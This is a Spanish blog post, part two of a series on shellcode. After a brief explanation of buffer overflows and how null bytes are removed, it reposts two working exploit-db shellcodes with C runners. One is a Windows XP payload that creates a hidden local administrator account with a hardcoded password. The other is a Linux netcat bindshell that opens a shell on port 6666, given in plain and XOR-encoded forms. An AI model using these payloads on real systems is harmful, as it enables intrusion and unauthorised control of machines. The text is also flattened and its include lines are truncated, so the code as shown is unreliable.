5 abr 2013

Shellcodes (Parte II de III)

Las shellcodes deben ser cortas para poder ser inyectadas dentro de la pila, que generalmente suele ser un espacio reducido.Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades en el código llamadas desbordamiento de búfer. Principalmente el shellcode se programa para permitir ejecutar un intérprete de comandos en el equipo afectado.Es común que en la compilación de una shellcode se produzcan bytes nulos, los cuales deben ser eliminados de la misma, ya que frenarían la ejecución de la shellcode. Para ello el programador se vale de diversas técnicas, como remplazar las instrucciones que genera bytes NULL por otras que no lo hagan o realizar una operación XOR, mover hacia registros más pequeños (como AH, AL), y de esta forma permitir que la shellcode sea realmente inyectable.

-------------------------------------------------------------------------------------Ahora Comprato unos Shellcodes muy interesantes =)http://www.exploit-db.com/exploits/15202/win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes/*Title: win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytesAuthor: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]comMethod: Hardcoded opcodes (kernel32.winexec@7c8623ad, kernel32.exitprocess@7c81cafa)Tested on: WinXP Pro SP3 (EN) 32bit - Build 2600.080413-2111Greetz: offsec and inj3ct0r teams*/#include#include#includechar code[] =   "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23""\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca""\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63""\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20""\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73""\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e""\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20""\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67""\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e""\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20""\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61""\x64\x64\x00";int main(int argc, char **argv){((void (*)())code)();printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk");return 0;}-------------------------------------------------------------------------------------http://www.exploit-db.com/exploits/17194/Linux/x86 - netcat bindshell port 6666 - 69 bytes/*** Title:     Linux/x86 - netcat bindshell port 6666 - 69 bytes** Date:      2011-04-20** Author:    Jonathan Salwan**** http://shell-storm.org** http://twitter.com/jonathansalwan**** /usr/bin/netcat -ltp6666 -e/bin/sh**** 8048054 <.text>:** 8048054: 31 c0                   xor    %eax,%eax** 8048056: 50                      push   %eax** 8048057: 68 74 63 61 74          push   $0x74616374** 804805c: 68 6e 2f 6e 65          push   $0x656e2f6e** 8048061: 68 72 2f 62 69          push   $0x69622f72** 8048066: 68 2f 2f 75 73          push   $0x73752f2f** 804806b: 89 e3                   mov    %esp,%ebx** 804806d: 50                      push   %eax** 804806e: 68 36 36 36 36          push   $0x36363636** 8048073: 68 2d 6c 74 70          push   $0x70746c2d** 8048078: 89 e2                   mov    %esp,%edx** 804807a: 50                      push   %eax** 804807b: 68 6e 2f 73 68          push   $0x68732f6e** 8048080: 68 2f 2f 62 69          push   $0x69622f2f** 8048085: 66 68 2d 65             pushw  $0x652d** 8048089: 89 e1                   mov    %esp,%ecx** 804808b: 50                      push   %eax** 804808c: 51                      push   %ecx** 804808d: 52                      push   %edx** 804808e: 53                      push   %ebx** 804808f: 89 e6                   mov    %esp,%esi** 8048091: b0 0b                   mov    $0xb,%al** 8048093: 89 f1                   mov    %esi,%ecx** 8048095: 31 d2                   xor    %edx,%edx** 8048097: cd 80                   int    $0x80***/#include#includechar SC[] = "\x31\xc0\x50\x68\x74\x63\x61\x74\x68\x6e\x2f""\x6e\x65\x68\x72\x2f\x62\x69\x68\x2f\x2f\x75""\x73\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d""\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68""\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1""\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31""\xd2\xcd\x80";/*  SC polymorphic - XOR 19 - 93 bytes  */char SC_ENC[] = "\xeb\x11\x5e\x31\xc9\xb1\x45\x80\x74\x0e""\xff\x13\x80\xe9\x01\x75\xf6\xeb\x05\xe8""\xea\xff\xff\xff\x22\xd3\x43\x7b\x67\x70""\x72\x67\x7b\x7d\x3c\x7d\x76\x7b\x61\x3c""\x71\x7a\x7b\x3c\x3c\x66\x60\x9a\xf0\x43""\x7b\x25\x25\x25\x25\x7b\x3e\x7f\x67\x63""\x9a\xf1\x43\x7b\x7d\x3c\x60\x7b\x7b\x3c""\x3c\x71\x7a\x75\x7b\x3e\x76\x9a\xf2\x43""\x42\x41\x40\x9a\xf5\xa3\x18\x9a\xe2\x22""\xc1\xde\x93";int main(void){fprintf(stdout,"Length: %d\n",strlen(SC));(*(void(*)()) SC)();return 0;}

1 comentario: